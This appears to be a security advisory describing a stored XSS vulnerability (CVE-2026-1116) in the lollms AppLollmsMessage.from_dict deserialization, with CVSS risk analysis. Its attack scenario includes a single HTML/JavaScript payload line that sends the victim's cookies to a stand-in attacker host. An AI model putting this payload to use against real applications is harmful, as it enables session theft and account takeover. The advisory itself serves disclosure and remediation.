Parisneo Lollms CVE-2026-1116

User must interact with a crafted message containing malicious HTML/JavaScript payload in the content field of AppLollmsMessage.from_dict() deserialization in parisneo/lollms prior to version 2.2.0. Victim's browser executes injected script in application context.

Real-world risk is elevated due to multiple converging factors. The CVSS base score of 8.2 (High) reflects high confidentiality impact and scope change, meaning successful exploitation transcends the vulnerable component's security boundary - critical for multi-user applications. Attack complexity is low (AC:L) and no authentication is required (PR:N), lowering the skill barrier for attackers. User interaction (UI:R) is required, meaning victims must view or interact with attacker-controlled content, which is realistic in collaborative or messaging contexts where lollms might be deployed. A public exploit exists (huntr.com bounty submission), dramatically lowering time-to-exploit for opportunistic attackers. The scope change (S:C) combined with high confidentiality impact enables session token theft via JavaScript, facilitating account takeover. The description's mention of 'wormable attacks' suggests self-propagating XSS scenarios if user-generated content flows through the application. No EPSS score provided, but the combination of public POC, low complexity, and no auth requirement suggests non-negligible exploitation probability. KEV status not confirmed, indicating no confirmed active exploitation (CISA KEV), but the public POC and framework nature of lollms means exploitation depends on downstream integrations. Organizations using lollms in user-facing contexts should prioritize this as a critical remediation item; those using it in isolated/internal contexts face lower immediate risk.

An unauthenticated attacker crafts a malicious dictionary payload with a content field containing JavaScript such as <img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)> and submits it to an API endpoint using lollms's AppLollmsMessage.from_dict method. When a victim user views the deserialized message in their browser session, the injected script executes, exfiltrating session cookies to the attacker's server, enabling account takeover. Publicly available exploit code exists, as evidenced by the huntr.com bounty submission providing proof-of-concept details.